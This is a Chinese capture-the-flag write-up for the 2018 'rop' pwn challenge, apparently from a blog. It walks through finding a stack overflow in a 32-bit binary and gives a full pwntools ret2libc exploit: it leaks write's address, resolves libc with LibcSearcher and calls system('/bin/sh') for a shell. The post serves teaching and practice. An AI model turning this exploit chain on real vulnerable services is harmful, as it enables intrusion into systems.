铁人三项(第五赛区)_2018_rop题解

在这里插入图片描述
先启动靶机连接看看。

在这里插入图片描述
直接ls,就给我输出句话,看来不能直接拿flag。
那走下流程。
查下位数和其他信息:
在这里插入图片描述
可以看到是32位的包,开了NX,但没开其他保护。
用ida32打开looklook。
在这里插入图片描述
主函数就是个这,看到了弹出的字符串,前面有2个函数,分别进去看看。
在这里插入图片描述

在这里插入图片描述
感觉第一个函数没啥能搞的点。
第二个函数:传入的字符为88,但是读100个,有溢出的
下面找一下后门,开始没发现啥直接的后门,shift+f12.
在这里插入图片描述
发现可以造成libc泄露,可以先回传libc版本,然后计算system函数的地址。最后完成这个题。
payload:

from pwn import *
from LibcSearcher import *
p = remote("node5.buuoj.cn",28358)
elf = ELF("./2018_rop")
main_add = elf.sym['main']
write_plt = elf.plt['write']
write_got = elf.got['write']

payload = 'a'*(0x88 + 4)
payload = payload + p32(write_plt) + p32(main_add) + p32(1) + p32(write_got) + p32(4)

p.sendline(payload)
write_add = u32(p.recv())

libc = LibcSearcher('write',write_add)
libc_base  = write_add - libc.dump('write')
sys_add = libc_base + libc.dump('system')
bin_add = libc_base + libc.dump('str_bin_sh')

payload_ = 'a'*(0x88 + 4) + p32(sys_add) + p32(1) + p32(bin_add)
p.sendline(payload_)
p.interactive()

libc = LibcSearcher(‘write’,write_add)
libc_base = write_add - libc.dump(‘write’)
sys_add = libc_base + libc.dump(‘system’)
bin_add = libc_base + libc.dump(‘str_bin_sh’)
这里我是看其他佬的博客学会的。
附上佬的博客:
https://blog.youkuaiyun.com/weixin_45743302/article/details/117574749?fromshare=blogdetail&sharetype=blogdetail&sharerId=117574749&sharerefer=PC&sharesource=2301_81574836&sharefrom=from_link

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值